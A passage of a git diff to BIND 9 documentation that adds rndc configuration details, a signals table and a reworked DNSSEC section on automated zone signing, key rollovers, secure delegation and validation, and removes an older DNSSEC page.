+:iscman:`rndc`
+   The remote name daemon control (:iscman:`rndc`) program allows the system
+   administrator to control the operation of a name server.
+
+   See :ref:`man_rndc` for details of the available :iscman:`rndc`
+   commands.
+
+   :iscman:`rndc` requires a configuration file, since all communication with
+   the server is authenticated with digital signatures that rely on a
+   shared secret, and there is no way to provide that secret other than
+   with a configuration file. The default location for the :iscman:`rndc`
+   configuration file is |rndc_conf|, but an alternate location
+   can be specified with the :option:`-c <rndc -c>` option. If the configuration file is
+   not found, :iscman:`rndc` also looks in |rndc_key| (or whatever
+   ``sysconfdir`` was defined when the BIND build was configured). The
+   ``rndc.key`` file is generated by running :option:`rndc-confgen -a` as
+   described in :any:`controls`.
+
+   The format of the configuration file is similar to that of
+   :iscman:`named.conf`, but is limited to only three blocks: the :rndcconf:ref:`options`,
+   :rndcconf:ref:`key`, :rndcconf:ref:`server`, and the :ref:`include_grammar`. These blocks are
+   what associate the secret keys to the servers with which they are
+   meant to be shared. The order of blocks is not significant.
+
+.. rndcconf:statement:: options
+
+   .. rndcconf:statement:: default-server
+
+      :any:`default-server` takes a
+      host name or address argument and represents the server that is
+      contacted if no :option:`-s <rndc -s>` option is provided on the command line.
+
+   .. rndcconf:statement:: default-key
+
+      :any:`default-key` takes the name of a key as its argument, as defined
+      by a :rndcconf:ref:`key` block.
+
+   .. rndcconf:statement:: default-port
+
+      :any:`default-port` specifies the port to which
+      :iscman:`rndc` should connect if no port is given on the command line or in
+      a :rndcconf:ref:`server` block.
+
+   .. rndcconf:statement:: default-source-address
+   .. rndcconf:statement:: default-source-address-v6
+
+      :any:`default-source-address` and :any:`default-source-address-v6` specify
+      the IPv4 and IPv6 source address used to communicate with the server
+      if no address is given on the command line or in a
+      :rndcconf:ref:`server` block.
+
+.. rndcconf:statement:: key
+
+   The :rndcconf:ref:`key` block defines a key to be used by :iscman:`rndc` when
+   authenticating with :iscman:`named`. Its syntax is identical to the :namedconf:ref:`key`
+   statement in :iscman:`named.conf`. The keyword :rndcconf:ref:`key` is followed by a key
+   name, which must be a valid domain name, though it need not actually
+   be hierarchical; thus, a string like ``rndc_key`` is a valid name.
+   The :rndcconf:ref:`key` block has two statements: :rndcconf:ref:`algorithm` and :rndcconf:ref:`secret`.
+
+   .. rndcconf:statement:: algorithm
+
+      While the configuration parser accepts any string as the argument
+      to :rndcconf:ref:`algorithm`, currently only the strings ``hmac-md5``,
+      ``hmac-sha1``, ``hmac-sha224``, ``hmac-sha256``,
+      ``hmac-sha384``, and ``hmac-sha512`` have any meaning.
+
+   .. rndcconf:statement:: secret
+
+      The secret
+      is a Base64-encoded string as specified in :rfc:`3548`.
+
+.. rndcconf:statement:: server
+
+   The :rndcconf:ref:`server` block specifies connection parameters for a given server.
+   The server can be specified as a host name or address.
+
+   .. rndcconf:statement:: addresses
+
+      Specifies one or more addresses to use when communicating with this
+      server.
+
+   :rndcconf:ref:`key`
+      Associates a key defined using the :rndcconf:ref:`key` statement with a
+      server.
+
+   .. rndcconf:statement:: port
+
+      Specifes the port :iscman:`rndc` should connect to on the server.
+
+   .. rndcconf:statement:: source-address
+   .. rndcconf:statement:: source-address-v6
+
+      Overrides :rndcconf:ref:`default-source-address` and
+      :rndcconf:ref:`default-source-address-v6` for this specific server.
+
+   A sample minimal configuration file is as follows:
+
+   ::
+
+      key rndc_key {
+           algorithm "hmac-sha256";
+           secret
+             "c3Ryb25nIGVub3VnaCBmb3IgYSBtYW4gYnV0IG1hZGUgZm9yIGEgd29tYW4K";
+      };
+      options {
+           default-server 127.0.0.1;
+           default-key    rndc_key;
+      };
+
+   This file, if installed as |rndc_conf|, allows the
+   command:
+
+   :option:`rndc reload`
+
+   to connect to 127.0.0.1 port 953 and causes the name server to reload,
+   if a name server on the local machine is running with the following
+   controls statements:
+
+   ::
+
+      controls {
+          inet 127.0.0.1
+              allow { localhost; } keys { rndc_key; };
+      };
+
+   and it has an identical key block for ``rndc_key``.
+
+   Running the :iscman:`rndc-confgen` program conveniently creates an
+   :iscman:`rndc.conf` file, and also displays the corresponding
+   :any:`controls` statement needed to add to :iscman:`named.conf`.
+   Alternatively, it is possible to run :option:`rndc-confgen -a` to set up an
+   ``rndc.key`` file and not modify :iscman:`named.conf` at all.
+
+Signals
+~~~~~~~
+
+Certain Unix signals cause the name server to take specific actions, as
+described in the following table. These signals can be sent using the
+``kill`` command.
+
++--------------+-------------------------------------------------------------+
+| ``SIGHUP``   | Causes the server to read :iscman:`named.conf` and reload   |
+|              | the database.                                               |
++--------------+-------------------------------------------------------------+
+| ``SIGTERM``  | Causes the server to clean up and exit.                     |
++--------------+-------------------------------------------------------------+
+| ``SIGINT``   | Causes the server to clean up and exit.                     |
++--------------+-------------------------------------------------------------+
+
diff --git a/doc/arm/dns-security-overview.dia b/doc/arm/dns-security-overview.dia
new file mode 100644
index 0000000000..77f00f34a5
Binary files /dev/null and b/doc/arm/dns-security-overview.dia differ
diff --git a/doc/arm/dns-security-overview.png b/doc/arm/dns-security-overview.png
new file mode 100644
index 0000000000..28e92202dc
Binary files /dev/null and b/doc/arm/dns-security-overview.png differ
diff --git a/doc/arm/dns-servers.dia b/doc/arm/dns-servers.dia
new file mode 100644
index 0000000000..caabefe133
Binary files /dev/null and b/doc/arm/dns-servers.dia differ
diff --git a/doc/arm/dns-servers.png b/doc/arm/dns-servers.png
new file mode 100644
index 0000000000..14a7bea765
Binary files /dev/null and b/doc/arm/dns-servers.png differ
diff --git a/doc/arm/dns-tree.dia b/doc/arm/dns-tree.dia
new file mode 100644
index 0000000000..052e7ee766
Binary files /dev/null and b/doc/arm/dns-tree.dia differ
diff --git a/doc/arm/dns-tree.png b/doc/arm/dns-tree.png
new file mode 100644
index 0000000000..c76ae1bbf7
Binary files /dev/null and b/doc/arm/dns-tree.png differ
diff --git a/doc/arm/dnssec-guide.rst b/doc/arm/dnssec-guide.rst
index fb0a5dc7b0..c3a9a0a3a4 100644
--- a/doc/arm/dnssec-guide.rst
+++ b/doc/arm/dnssec-guide.rst
@@ -1,12 +1,15 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _dnssec_guide:
 
 DNSSEC Guide
 ============
diff --git a/doc/arm/dnssec.inc.rst b/doc/arm/dnssec.inc.rst
new file mode 100644
index 0000000000..732e2debd5
--- /dev/null
+++ b/doc/arm/dnssec.inc.rst
@@ -0,0 +1,368 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _dnssec:
+
+DNSSEC
+------
+DNS Security Extensions (DNSSEC) provide reliable protection from
+`cache poisoning`_ attacks. At the same time these extensions also provide other benefits:
+they limit the impact of `random subdomain attacks`_ on resolver caches and authoritative
+servers, and provide the foundation for modern applications like `authenticated
+and private e-mail transfer`_.
+
+To achieve this goal, DNSSEC adds `digital signatures`_ to DNS records in
+authoritative DNS zones, and DNS resolvers verify the validity of the signatures on the
+received records. If the signatures match the received data, the resolver can
+be sure that the data was not modified in transit.
+
+.. note::
+   DNSSEC and transport-level encryption are complementary!
+   Unlike typical transport-level encryption like DNS-over-TLS, DNS-over-HTTPS,
+   or VPN, DNSSEC makes DNS records verifiable at all points of the DNS
+   resolution chain.
+
+This section focuses on ways to deploy DNSSEC using BIND. For a more in-depth
+discussion of DNSSEC principles (e.g. :ref:`how_does_dnssec_change_dns_lookup`)
+please see :doc:`dnssec-guide`.
+
+.. _`cache poisoning`: https://en.wikipedia.org/wiki/DNS_cache_poisoning
+.. _`random subdomain attacks`: https://www.isc.org/blogs/nsec-caching-should-limit-excessive-queries-to-dns-root/
+.. _`digital signatures`: https://en.wikipedia.org/wiki/Digital_signature
+.. _`authenticated and private e-mail transfer`: https://github.com/internetstandards/toolbox-wiki/blob/main/DANE-for-SMTP-how-to.md
+
+
+.. _dnssec_zone_signing:
+
+Zone Signing
+~~~~~~~~~~~~
+
+BIND offers several ways to generate signatures and maintain their validity
+during the lifetime of a DNS zone:
+
+  - :ref:`dnssec_kasp` - **strongly recommended**
+  - :ref:`dnssec_tools` - discouraged, use only for debugging
+
+.. _zone_keys:
+
+Zone keys
+^^^^^^^^^
+Regardless of the :ref:`zone-signing <dnssec_zone_signing>` method in use, cryptographic keys are
+stored in files named like :file:`Kdnssec.example.+013+12345.key` and
+:file:`Kdnssec.example.+013+12345.private`.
+The private key (in the ``.private`` file) is used to generate signatures, and
+the public key (in the ``.key`` file) is used for signature verification.
+Additionally, the :ref:`dnssec_kasp` method creates a third file,
+:file:`Kdnssec.example+013+12345.state`, which is used to track DNSSEC key timings
+and to perform key rollovers safely.
+
+These filenames contain:
+
+   - the key name, which always matches the zone name (``dnssec.example.``),
+   - the `algorithm number`_ (013 is ECDSAP256SHA256, 008 is RSASHA256, etc.),
+   - and the key tag, i.e. a non-unique key identifier (12345 in this case).
+
+.. _`algorithm number`: https://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml#dns-sec-alg-numbers-1
+
+
+.. warning::
+   Private keys are required for full disaster recovery. Back up key files in a
+   safe location and protect them from unauthorized access. Anyone with
+   access to the private key can create fake but seemingly valid DNS data.
+
+
+.. _dnssec_kasp:
+
+Fully Automated (Key and Signing Policy)
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Key and Signing Policy (KASP) is a method of configuration that describes
+how to maintain DNSSEC signing keys and how to sign the zone.
+
+This is the recommended, fully automated way to sign and maintain DNS zones. For
+most use cases users can simply use the built-in default policy, which applies
+up-to-date DNSSEC practices:
+
+.. code-block:: none
+  :emphasize-lines: 4
+
+    zone "dnssec.example" {
+        type primary;
+        file "dnssec.example.db";
+        dnssec-policy default;
+    };
+
+The :any:`dnssec-policy` statement requires dynamic DNS to be set up, or
+:any:`inline-signing` to be enabled. In the example above we use the latter,
+because the ``default`` policy uses :any:`inline-signing`.
+
+This is sufficient to create the necessary signing keys, and generate
+``DNSKEY``, ``RRSIG``, and ``NSEC`` records for the zone. BIND also takes
+care of any DNSSEC maintenance for this zone, including replacing signatures
+that are about to expire and managing :ref:`key_rollovers`.
+
+.. note::
+   :any:`dnssec-policy` needs write access to the zone. Please see
+   :any:`dnssec-policy` for more details about implications for zone storage.
+
+The default policy creates one key that is used to sign the complete zone,
+and uses ``NSEC`` to enable authenticated denial of existence (a secure way
+to tell which records do not exist in a zone). This policy is recommended
+and typically does not need to be changed.
+
+If needed, a custom policy can be defined by adding a :any:`dnssec-policy` statement
+into the configuration:
+
+.. code-block:: none
+
+
+    dnssec-policy "custom" {
+        dnskey-ttl 600;
+        keys {
+            ksk lifetime P1Y algorithm ecdsap384sha384;
+            zsk lifetime 60d algorithm ecdsap384sha384;
+        };
+        nsec3param iterations 0 optout no salt-length 0;
+    };
+
+This ``custom`` policy, for example:
+
+  - uses a very short ``DNSKEY`` TTL (600 seconds),
+  - uses two keys to sign the zone: a Key Signing Key (KSK) to sign the key
+    related RRsets (``DNSKEY``, ``CDS``, and ``CDNSKEY``), and a Zone Signing
+    Key (ZSK) to sign the rest of the zone. The KSK is automatically
+    rotated after one year and the ZSK after 60 days.
+
+Also:
+  - The configured keys have a lifetime set and use the ECDSAP384SHA384
+    algorithm.
+  - The last line instructs BIND to generate NSEC3 records for
+    :ref:`Proof of Non-Existence <advanced_discussions_proof_of_nonexistence>`,
+    using zero extra iterations and no salt. NSEC3 opt-out is disabled, meaning
+    insecure delegations also get an NSEC3 record.
+
+For more information about KASP configuration see :any:`dnssec-policy`.
+
+The :ref:`dnssec_advanced_discussions` section in the DNSSEC Guide discusses the
+various policy settings and may be useful for determining values for specific
+needs.
+
+Key Rollover
+============
+
+When using a :any:`dnssec-policy`, a key lifetime can be set to trigger
+key rollovers. ZSK rollovers are fully automatic, but for KSK and CSK rollovers
+a DS record needs to be submitted to the parent. See
+:ref:`secure_delegation` for possible ways to do so.
+
+Once the DS is in the parent (and the DS of the predecessor key is withdrawn),
+BIND needs to be told that this event has happened. This can be done automatically
+by configuring parental agents:
+
+.. code-block:: none
+  :emphasize-lines: 5
+
+    zone "dnssec.example" {
+        type primary;
+        file "dnssec.example.db";
+        dnssec-policy default;
+        parental-agents { 192.0.2.1; };
+        checkds explicit;
+    };
+
+Here one server, ``192.0.2.1``, is configured for BIND to send DS queries to,
+to check the DS RRset for ``dnssec-example`` during key rollovers. This needs
+to be a trusted server, because BIND does not validate the response. The
+``checkds`` option makes BIND use the explicitly configured parental agents,
+rather than looking them up by querying for the parent NS records.
+
+If setting up a parental agent is undesirable, it is also possible to tell BIND that the
+DS is published in the parent with:
+:option:`rndc dnssec -checkds -key 12345 published dnssec.example. <rndc dnssec>`.
+and the DS for the predecessor key has been removed with:
+:option:`rndc dnssec -checkds -key 54321 withdrawn dnssec.example. <rndc dnssec>`.
+where 12345 and 54321 are the key tags of the successor and predecessor key,
+respectively.
+
+To roll a key sooner than scheduled, or to roll a key that
+has an unlimited lifetime, use:
+:option:`rndc dnssec -rollover -key 12345 dnssec.example. <rndc dnssec>`.
+
+To revert a signed zone back to an insecure zone, change
+the zone configuration to use the built-in "insecure" policy. Detailed
+instructions are described in :ref:`revert_to_unsigned`.
+
+.. _dnssec_multisigner_model:
+
+Multi-Signer Model
+==================
+
+Dynamic zones provide the ability to sign a zone by multiple providers, meaning
+each provider signs and serves the same zone independently, as is described
+in :rfc:`8901`. BIND 9 is able to support Model 2, where each provider has
+their own KSK and ZSK (or CSK). The keys from the other provider can be
+imported via Dynamic Update. For each active KSK there must be a corresponding
+DS record in the parent zone. Key rollovers require coordination in order
+to update the DS and DNSKEY RRset.
+
+.. _dnssec_tools:
+
+Manual Signing
+^^^^^^^^^^^^^^
+
+There are several tools available to manually sign a zone.
+
+.. warning::
+
+   Please note manual procedures are available mainly for backwards
+   compatibility and should be used only by expert users with specific needs.
+
+To set up a DNSSEC secure zone manually, a series of steps
+must be followed. Please see chapter
+:ref:`advanced_discussions_manual_signing` in the
+:doc:`dnssec-guide` for more information.
+
+Monitoring with Private Type Records
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The state of the signing process is signaled by private type records (with a
+default type value of 65534). When signing is complete, those records with a
+non-zero initial octet have a non-zero value for the final octet.
+
+If the first octet of a private type record is non-zero, the record indicates
+either that the zone needs to be signed with the key matching the record, or
+that all signatures that match the record should be removed. Here are the
+meanings of the different values of the first octet:
+
+   - algorithm (octet 1)
+
+   - key ID in network order (octet 2 and 3)
+
+   - removal flag (octet 4)
+
+   - complete flag (octet 5)
+
+Only records flagged as "complete" can be removed via dynamic update; attempts
+to remove other private type records are silently ignored.
+
+If the first octet is zero (this is a reserved algorithm number that should
+never appear in a ``DNSKEY`` record), the record indicates that changes to the
+``NSEC3`` chains are in progress. The rest of the record contains an
+``NSEC3PARAM`` record, while the flag field tells what operation to perform
+based on the flag bits:
+
+   0x01 OPTOUT
+
+   0x80 CREATE
+
+   0x40 REMOVE
+
+   0x20 NONSEC
+
+.. _secure_delegation:
+
+Secure Delegation
+~~~~~~~~~~~~~~~~~
+
+Once a zone is signed on the authoritative servers, the last remaining step
+is to establish chain of trust [#validation]_ between the parent zone
+(``example.``) and the local zone (``dnssec.example.``).
+
+Generally the procedure is:
+
+  - **Wait** for stale data to expire from caches. The amount of time required
+    is equal to the maximum TTL value used in the zone before signing. This
+    step ensures that unsigned data expire from caches and resolvers do not get
+    confused by missing signatures.
+  - Insert/update DS records in the parent zone (``dnssec.example. DS`` record).
+
+There are multiple ways to update DS records in the parent zone. Refer to the
+documentation for the parent zone to find out which options are applicable to
+a given case zone. Generally the options are, from most- to least-recommended:
+
+  - Automatically update the DS record in the parent zone using
+    ``CDS``/``CDNSKEY`` records automatically generated by BIND. This requires
+    support for :rfc:`7344` in either parent zone, registry, or registrar. In
+    that case, configure BIND to :ref:`monitor DS records in the parent
+    zone <cds_cdnskey>` and everything will happen automatically at the right
+    time.
+  - Query the zone for automatically generated ``CDS`` or ``CDNSKEY`` records using
+    :iscman:`dig`, and then insert these records into the parent zone using
+    the method specified by the parent zone (web form, e-mail, API, ...).
+  - Generate DS records manually using the :iscman:`dnssec-dsfromkey` utility on
+    `zone keys`_, and then insert them into the parent zone.
+
+.. [#validation] For further details on how the chain of trust is used in practice, see
+                :ref:`dnssec_12_steps` in the :doc:`dnssec-guide`.
+
+
+
+DNSSEC Validation
+~~~~~~~~~~~~~~~~~
+
+The BIND resolver validates answers from authoritative servers by default. This
+behavior is controlled by the configuration statement :namedconf:ref:`dnssec-validation`.
+
+By default a trust anchor for the DNS root zone is used.
+This trust anchor is provided as part of BIND and is kept up-to-date using
+:ref:`rfc5011.support`.
+
+.. note::
+   DNSSEC validation works "out of the box" and does not require
+   additional configuration. Additional configuration options are intended only
+   for special cases.
+
+To validate answers, the resolver needs at least one trusted starting point,
+a "trust anchor." Essentially, trust anchors are copies of ``DNSKEY`` RRs for
+zones that are used to form the first link in the cryptographic chain of trust.
+Alternative trust anchors can be specified using :any:`trust-anchors`, but
+this setup is very unusual and is recommended only for expert use.
+For more information, see :ref:`trust_anchors_description` in the
+:doc:`dnssec-guide`.
+
+The BIND authoritative server does not verify signatures on load, so zone keys
+for authoritative zones do not need to be specified in the configuration
+file.
+
+Validation Failures
+^^^^^^^^^^^^^^^^^^^
+
+When DNSSEC validation is configured, the resolver rejects any answers from
+signed, secure zones which fail to validate, and returns SERVFAIL to the
+client.
+
+Responses may fail to validate for any of several reasons, including
+missing, expired, or invalid signatures; a key which does not match the
+DS RRset in the parent zone; or an insecure response from a zone which,
+according to its parent, should have been secure.
+
+For more information see :ref:`dnssec_troubleshooting`.
+
+Coexistence With Unsigned (Insecure) Zones
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+Zones not protected by DNSSEC are called "insecure," and these zones seamlessly
+coexist with signed zones.
+
+When the validator receives a response from an unsigned zone that has
+a signed parent, it must confirm with the parent that the zone was
+intentionally left unsigned. It does this by verifying, via signed
+and validated :ref:`NSEC/NSEC3 records
+<advanced_discussions_proof_of_nonexistence>`, that the parent zone contains no
+DS records for the child.
+
+If the validator *can* prove that the zone is insecure, then the
+response is accepted. However, if it cannot, the validator must assume an
+insecure response to be a forgery; it rejects the response and logs
+an error.
+
+The logged error reads "insecurity proof failed" and "got insecure
+response; parent indicates it should be secure."
diff --git a/doc/arm/dnssec.rst b/doc/arm/dnssec.rst
deleted file mode 100644
index 2e1c178afe..0000000000
--- a/doc/arm/dnssec.rst
+++ /dev/null
@@ -1,289 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _dnssec.dynamic.zones:
-
-DNSSEC, Dynamic Zones, and Automatic Signing
---------------------------------------------
-
-Converting From Insecure to Secure
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-A zone can be changed from insecure to secure in three ways: using a
-dynamic DNS update, via the ``auto-dnssec`` zone option, or by setting a
-DNSSEC policy for the zone with ``dnssec-policy``.
-
-For any method, ``named`` must be configured so that it can see
-the ``K*`` files which contain the public and private parts of the keys
-that are used to sign the zone. These files are generated
-by ``dnssec-keygen``, or created when needed by ``named`` if
-``dnssec-policy`` is used. Keys should be placed in the
-key-directory, as specified in ``named.conf``:
-
-::
-
-       zone example.net {
-           type primary;
-           update-policy local;
-           file "dynamic/example.net/example.net";
-           key-directory "dynamic/example.net";
-       };
-
-If one KSK and one ZSK DNSKEY key have been generated, this
-configuration causes all records in the zone to be signed with the
-ZSK, and the DNSKEY RRset to be signed with the KSK. An NSEC
-chain is generated as part of the initial signing process.
-
-With ``dnssec-policy``, it is possible to specify which keys should be
-KSK and/or ZSK. To sign all records with a key, a CSK must be specified.
-For example:
-
-::
-
-        dnssec-policy csk {
-	    keys {
-                csk lifetime unlimited algorithm 13;
-            };
-	};
-
-Dynamic DNS Update Method
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To insert the keys via dynamic update:
-
-::
-
-       % nsupdate
-       > ttl 3600
-       > update add example.net DNSKEY 256 3 7 AwEAAZn17pUF0KpbPA2c7Gz76Vb18v0teKT3EyAGfBfL8eQ8al35zz3Y I1m/SAQBxIqMfLtIwqWPdgthsu36azGQAX8=
-       > update add example.net DNSKEY 257 3 7 AwEAAd/7odU/64o2LGsifbLtQmtO8dFDtTAZXSX2+X3e/UNlq9IHq3Y0 XtC0Iuawl/qkaKVxXe2lo8Ct+dM6UehyCqk=
-       > send
-
-While the update request completes almost immediately, the zone is
-not completely signed until ``named`` has had time to "walk" the zone
-and generate the NSEC and RRSIG records. The NSEC record at the apex
-is added last, to signal that there is a complete NSEC chain.
-
-To sign using NSEC3 instead of NSEC, add an
-NSEC3PARAM record to the initial update request. The OPTOUT bit in the NSEC3
-chain can be set in the flags field of the
-NSEC3PARAM record.
-
-::
-
-       % nsupdate
-       > ttl 3600
-       > update add example.net DNSKEY 256 3 7 AwEAAZn17pUF0KpbPA2c7Gz76Vb18v0teKT3EyAGfBfL8eQ8al35zz3Y I1m/SAQBxIqMfLtIwqWPdgthsu36azGQAX8=
-       > update add example.net DNSKEY 257 3 7 AwEAAd/7odU/64o2LGsifbLtQmtO8dFDtTAZXSX2+X3e/UNlq9IHq3Y0 XtC0Iuawl/qkaKVxXe2lo8Ct+dM6UehyCqk=
-       > update add example.net NSEC3PARAM 1 1 100 1234567890
-       > send
-
-Again, this update request completes almost immediately; however,
-the record does not show up until ``named`` has had a chance to
-build/remove the relevant chain. A private type record is created
-to record the state of the operation (see below for more details), and
-is removed once the operation completes.
-
-While the initial signing and NSEC/NSEC3 chain generation is happening,
-other updates are possible as well.
-
-Fully Automatic Zone Signing
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To enable automatic signing, set a ``dnssec-policy`` or add the
-``auto-dnssec`` option to the zone statement in ``named.conf``.
-``auto-dnssec`` has two possible arguments: ``allow`` or ``maintain``.
-
-With ``auto-dnssec allow``, ``named`` can search the key directory for
-keys matching the zone, insert them into the zone, and use them to sign
-the zone. It does so only when it receives an
-``rndc sign <zonename>``.
-
-``auto-dnssec maintain`` includes the above functionality, but also
-automatically adjusts the zone's DNSKEY records on a schedule according to
-the keys' timing metadata. (See :ref:`man_dnssec-keygen` and
-:ref:`man_dnssec-settime` for more information.)
-
-``dnssec-policy`` is similar to ``auto-dnssec maintain``, but
-``dnssec-policy`` also automatically creates new keys when necessary. In
-addition, any configuration related to DNSSEC signing is retrieved from the
-policy, ignoring existing DNSSEC ``named.conf`` options.
-
-``named`` periodically searches the key directory for keys matching
-the zone; if the keys' metadata indicates that any change should be
-made to the zone - such as adding, removing, or revoking a key - then that
-action is carried out. By default, the key directory is checked for
-changes every 60 minutes; this period can be adjusted with
-``dnssec-loadkeys-interval``, up to a maximum of 24 hours. The
-``rndc loadkeys`` command forces ``named`` to check for key updates immediately.
-
-If keys are present in the key directory the first time the zone is
-loaded, the zone is signed immediately, without waiting for an
-``rndc sign`` or ``rndc loadkeys`` command. Those commands can still be
-used when there are unscheduled key changes.
-
-When new keys are added to a zone, the TTL is set to match that of any
-existing DNSKEY RRset. If there is no existing DNSKEY RRset, the
-TTL is set to the TTL specified when the key was created (using the
-``dnssec-keygen -L`` option), if any, or to the SOA TTL.
-
-To sign the zone using NSEC3 instead of NSEC, submit an
-NSEC3PARAM record via dynamic update prior to the scheduled publication
-and activation of the keys. The OPTOUT bit for the NSEC3 chain can be set
-in the flags field of the NSEC3PARAM record. The
-NSEC3PARAM record does not appear in the zone immediately, but it is
-stored for later reference. When the zone is signed and the NSEC3
-chain is completed, the NSEC3PARAM record appears in the zone.
-
-Using the ``auto-dnssec`` option requires the zone to be configured to
-allow dynamic updates, by adding an ``allow-update`` or
-``update-policy`` statement to the zone configuration. If this has not
-been done, the configuration fails.
-
-Private Type Records
-~~~~~~~~~~~~~~~~~~~~
-
-The state of the signing process is signaled by private type records
-(with a default type value of 65534). When signing is complete, those
-records with a non-zero initial octet have a non-zero value for the final octet.
-
-If the first octet of a private type record is non-zero, the
-record indicates either that the zone needs to be signed with the key matching
-the record, or that all signatures that match the record should be
-removed. Here are the meanings of the different values of the first octet:
-
-   - algorithm (octet 1)
-
-   - key id in network order (octet 2 and 3)
-
-   - removal flag (octet 4)
-   
-   - complete flag (octet 5)
-
-Only records flagged as "complete" can be removed via dynamic update; attempts
-to remove other private type records are silently ignored.
-
-If the first octet is zero (this is a reserved algorithm number that
-should never appear in a DNSKEY record), the record indicates that
-changes to the NSEC3 chains are in progress. The rest of the record
-contains an NSEC3PARAM record, while the flag field tells what operation to
-perform based on the flag bits:
-
-   0x01 OPTOUT
-
-   0x80 CREATE
-
-   0x40 REMOVE
-
-   0x20 NONSEC
-
-DNSKEY Rollovers
-~~~~~~~~~~~~~~~~
-
-As with insecure-to-secure conversions, DNSSEC keyrolls can be done
-in two ways: using a dynamic DNS update, or via the ``auto-dnssec`` zone
-option.
-
-Dynamic DNS Update Method
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To perform key rollovers via dynamic update, the ``K*``
-files for the new keys must be added so that ``named`` can find them.
-The new DNSKEY RRs can then be added via dynamic update. ``named`` then causes the
-zone to be signed with the new keys; when the signing is complete, the
-private type records are updated so that the last octet is non-zero.
-
-If this is for a KSK, the parent and any trust anchor
-repositories of the new KSK must be informed.
-
-The maximum TTL in the zone must expire before removing the
-old DNSKEY. If it is a KSK that is being updated,
-the DS RRset in the parent must also be updated and its TTL allowed to expire. This
-ensures that all clients are able to verify at least one signature
-when the old DNSKEY is removed.
-
-The old DNSKEY can be removed via UPDATE, taking care to specify the
-correct key. ``named`` cleans out any signatures generated by the
-old key after the update completes.
-
-Automatic Key Rollovers
-~~~~~~~~~~~~~~~~~~~~~~~
-
-When a new key reaches its activation date (as set by ``dnssec-keygen``
-or ``dnssec-settime``), and if the ``auto-dnssec`` zone option is set to
-``maintain``, ``named`` automatically carries out the key rollover.
-If the key's algorithm has not previously been used to sign the zone,
-then the zone is fully signed as quickly as possible. However, if
-the new key replaces an existing key of the same algorithm, the
-zone is re-signed incrementally, with signatures from the old key
-replaced with signatures from the new key as their signature
-validity periods expire. By default, this rollover completes in 30 days,
-after which it is safe to remove the old key from the DNSKEY RRset.
-
-NSEC3PARAM Rollovers via UPDATE
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The new NSEC3PARAM record can be added via dynamic update. When the new NSEC3
-chain has been generated, the NSEC3PARAM flag field is set to zero. At
-that point, the old NSEC3PARAM record can be removed. The old chain is
-removed after the update request completes.
-
-Converting From NSEC to NSEC3
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Add a ``nsec3param`` option to your ``dnssec-policy`` and
-run ``rndc reconfig``.
-
-Or use ``nsupdate`` to add an NSEC3PARAM record.
-
-In both cases, the NSEC3 chain is generated and the NSEC3PARAM record is
-added before the NSEC chain is destroyed.
-
-Converting From NSEC3 to NSEC
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To do this, remove the ``nsec3param`` option from the ``dnssec-policy`` and
-run ``rndc reconfig``.
-
-Or use ``nsupdate`` to remove all NSEC3PARAM records with a
-zero flag field. The NSEC chain is generated before the NSEC3 chain
-is removed.
-
-Converting From Secure to Insecure
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To convert a signed zone to unsigned using dynamic DNS, delete all the
-DNSKEY records from the zone apex using ``nsupdate``. All signatures,
-NSEC or NSEC3 chains, and associated NSEC3PARAM records are removed
-automatically. This takes place after the update request completes.
-
-This requires the ``dnssec-secure-to-insecure`` option to be set to
-``yes`` in ``named.conf``.
-
-In addition, if the ``auto-dnssec maintain`` zone statement is used, it
-should be removed or changed to ``allow`` instead; otherwise it will re-sign.
-
-Periodic Re-signing
-~~~~~~~~~~~~~~~~~~~
-
-In any secure zone which supports dynamic updates, ``named``
-periodically re-signs RRsets which have not been re-signed as a result of
-some update action. The signature lifetimes are adjusted to
-spread the re-sign load over time rather than all at once.
-
-NSEC3 and OPTOUT
-~~~~~~~~~~~~~~~~
-
-``named`` only supports creating new NSEC3 chains where all the NSEC3
-records in the zone have the same OPTOUT state. ``named`` supports
-UPDATES to zones where the NSEC3 records in the chain have mixed OPTOUT
-state. ``named`` does not support changing the OPTOUT state of an
-individual NSEC3 record; if the
-OPTOUT state of an individual NSEC3 needs to be changed, the entire chain must be changed.
diff --git a/doc/arm/dyndb.inc.rst b/doc/arm/dyndb.inc.rst
new file mode 100644
index 0000000000..59ceb666fc
--- /dev/null
+++ b/doc/arm/dyndb.inc.rst
@@ -0,0 +1,92 @@
